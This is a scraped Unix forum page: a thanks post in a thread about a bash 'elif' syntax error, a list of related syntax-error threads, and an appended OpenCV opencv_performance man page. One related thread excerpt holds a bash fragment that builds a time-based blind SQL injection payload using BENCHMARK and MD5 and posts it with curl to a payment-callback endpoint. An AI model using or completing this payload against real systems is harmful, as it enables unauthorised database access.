Sponsored Content
Top Forums Shell Programming and Scripting syntax error near unexpected token `elif' Post 302354688 by proactiveaditya on Saturday 19th of September 2009 11:16:32 AM
Old 09-19-2009
Thanks

Thanks a lot

still wondering how i missed the "then"
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

syntax error at line 33: `elif` unexpected

#!/bin/sh echo "Choose option: e, d, l, t, p, or x." read option if test $option = e then echo "Filename?" read file if test ! -f $file then echo "No such file" else echo "Yes its a file" fi ... (4 Replies)
Discussion started by: hazy
4 Replies

2. UNIX for Advanced & Expert Users

Syntax error near unexpected token

Hi, When I run the below shell script I'm getting the error " syntax error near unexpected token `" Script: REM :: File Name : Refresh_OTL.bat REM :: Parameters : %1 - Region REM :: : %2 - Cube Type REM :: : REM :: Notes : REM ============================== set ENVIRONMENT... (2 Replies)
Discussion started by: tomailraj
2 Replies

3. Shell Programming and Scripting

Syntax error near unexpected token `done'

Hi all, Here is a simple script that is working in one server and is giving a syntax error in other server. Can somebody help me ? #!/bin/bash # ftp files done < $file errors: I tried..with no success: if ; then (21 Replies)
Discussion started by: Lenora2009
21 Replies

4. Shell Programming and Scripting

syntax error near unexpected token `='

Hi all, This is a script which converts hex to bin. However am finding an error while executing syntax error near unexpected token `=' `($hexfile, $binfile) = @ARGV;' I am running using ./fil.pl <hexfile> <binfile> ################################################### # # this script... (3 Replies)
Discussion started by: jaango123
3 Replies

5. Shell Programming and Scripting

Syntax error near unexpected token `}' please help

I'm going mad not being able to get this to work. im assuming its only a simple mistake but its driving me bonkers trying to find it. Please if you can help me it would save me pulling my hair out!! Thanks #!/bin/bash -xv # #Config name="TEST Server" + name='TEST Server'... (6 Replies)
Discussion started by: Fisheh
6 Replies

6. Shell Programming and Scripting

Syntax error near unexpected token 'elif'

Solaris 10 This is my script: #!/bin/bash #Script to print number of users and print list of them NO=`awk < /etc/passwd -F: '{ print $1 }' | wc -l` echo There are $NO users on system. echo "Do you want me to list them? (y or n):" read YORN if ] awk < /etc/passwd -F: '{ print $1 }'... (5 Replies)
Discussion started by: kaustubh
5 Replies

7. Shell Programming and Scripting

Syntax error near unexpected token `('

What do I do here? #!/bin/bash payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)# hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'` curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Discussion started by: iiiiiiiiiii
2 Replies

8. Shell Programming and Scripting

Syntax error near unexpected token `|'

Hi All; I try to write a bash code and I am using command substitution. My code is like: #!/bin/bash IP="10.0.0.1 10.0.0.2" PORT="22 80" USERNAME="admin" SCRIPT_HOST="adminHost" HOME_DIR=/home/admin SCRIPT_DIR=$HOME_DIR/scripts script="sudo /my_remote_script.sh" SSH="/usr/bin/ssh... (7 Replies)
Discussion started by: Meacham12
7 Replies

9. Shell Programming and Scripting

Syntax error near unexpected token `else'

Hello every one!! I don't know where I am going wrong but I am finding it difficult to clear this error of syntax error near unexpected token `else' I am writing a simple shell script to find a file in a directory and if found execute that else return an error to the log file ... (14 Replies)
Discussion started by: masubram
14 Replies

10. Ubuntu

Syntax error near unexpected token `('

detect_mouse_mvt.sh /home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `(' /home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')' #!/bin/bash # # fh = file('/dev/input/mice') while True: fh.read(3) print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
OPENCV_PERFORMANCE(1)						   User Commands					     OPENCV_PERFORMANCE(1)

NAME
opencv_performance - evaluate the performance of the classifier SYNOPSIS
opencv_performance [options] DESCRIPTION
opencv_performance evaluates the performance of the classifier. It takes a collection of marked up test images, applies the classifier and outputs the performance, i.e. number of found objects, number of missed objects, number of false alarms and other information. When there is no such collection available test samples may be created from single object image by the opencv_createsamples(1) utility. The scheme of test samples creation in this case is similar to training samples In the output, the table should be read: 'Hits' shows the number of correctly found objects 'Missed' shows the number of missed objects (must exist but are not found, also known as false negatives) 'False' shows the number of false alarms (must not exist but are found, also known as false positives) OPTIONS
opencv_performance supports the following options: -data classifier_directory_name The directory, in which the classifier can be found. -info collection_file_name File with test samples description. -maxSizeDiff max_size_difference Determine the size criterion of reference and detected coincidence. The default is 1.500000. -maxPosDiff max_position_difference Determine the position criterion of reference and detected coincidence. The default is 0.300000. -sf scale_factor Scale the detection window in each iteration. The default is 1.200000. -ni Don't save detection result to an image. This could be useful, if collection_file_name contains paths. -nos number_of_stages Number of stages to use. The default is -1 (all stages are used). -rs roc_size The default is 40. -h sample_height The sample height (must have the same value as used during creation). The default is 24. -w sample_width The sample width (must have the same value as used during creation). The default is 24. The same information is shown, if opencv_performance is called without any arguments/options. EXAMPLES
To create training samples from one image applying distortions and show the results: opencv_performance -data trainout -info tests.dat SEE ALSO
opencv_createsamples(1), opencv_haartraing(1) More information and examples can be found in the OpenCV documentation. AUTHORS
This manual page was written by Daniel Leidert <daniel.leidert@wgdd.de> and Nobuhiro Iwamatsu <iwamatsu@debian.org> for the Debian project (but may be used by others). OpenCV May 2010 OPENCV_PERFORMANCE(1)
All times are GMT -4. The time now is 09:28 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy